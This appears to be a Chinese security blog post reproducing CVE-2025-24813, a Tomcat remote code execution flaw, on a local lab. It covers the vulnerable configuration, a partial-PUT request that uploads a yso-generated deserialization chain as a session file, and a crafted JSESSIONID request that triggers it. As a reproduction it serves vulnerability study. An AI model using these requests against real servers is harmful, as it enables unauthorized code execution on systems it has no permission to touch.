所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法
。
Tomcat是一个开源的Web服务器和Servlet容器,由Apache软件基金会开发和维护。它实现了Java EE规范中的Servlet和JSP(JavaServer Pages)技术,广泛用于处理Java Web应用程序的请求和响应。
11.0.0-M1 <= Apache Tomcat <= 11.0.210.1.0-M1 <= Apache Tomcat <= 10.1.34 9.0.0.M1 <= Apache Tomcat <= 9.0.98
我们都知道tomcat是Java语言开发的,所以需要JAVA环境,我这里的Java环境是21.0.6
下载与其所对应版本的tomcat,我这里是9.0.93,并修改以下配置:
1、在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能:
<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
2、在conf/context.xml中,添加如下配置,开启File文件会话存储:
<Context> <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager> </Context>
3、将Commons Collections 3.2.1.jar放入lib文件夹:
下载地址:
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
4、配置tomcat环境变量:
5、配置Java环境变量:
6、启动:
命令:
startup.bat
这里呢靶机已成功准备就绪!
1、我们使用yso-java hack生成一个base64的序列化的利用链:
2、生成一个恶意的序列化文件:
base64并不是一个标准的base64序列化文件,如果直接读取的话其实是无效的,你只能发一个二进制文件。base64是从二进制编码过来的,所以在这里添加一个base64解码的标签即可。
PUT /xxxxx/session HTTP/1.1Host: 192.168.131.32:8080Content-Length: 1000Content-Range: bytes 0-1000/1200{{反序列化文件内容)}}
3、以下是触发的POC:
GET / HTTP/1.1Host: 192.168.131.32:8080Cookie: JSESSIONID=.xxxxx
这里也是成功弹了计算器,然后同时生成了threatbook二进制序列化文件(payload)。
这个漏洞的环境搭建还是比较简单的,但是在实际场景中很难被利用。同时这个漏洞也比较新,所以就在这里简单复现一下。
后来试了一下,除了k1这条链,10那条链也是可以的。
这里除了使用yakit中的yso-java hack工具之外,Javachain工具也是可以的,私信进群分享欧!
原文始发于微信公众号(零日安全实验室):漏洞复现篇 | CVE-2025-24813 Tomcat,最新RCE漏洞,速看!!!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论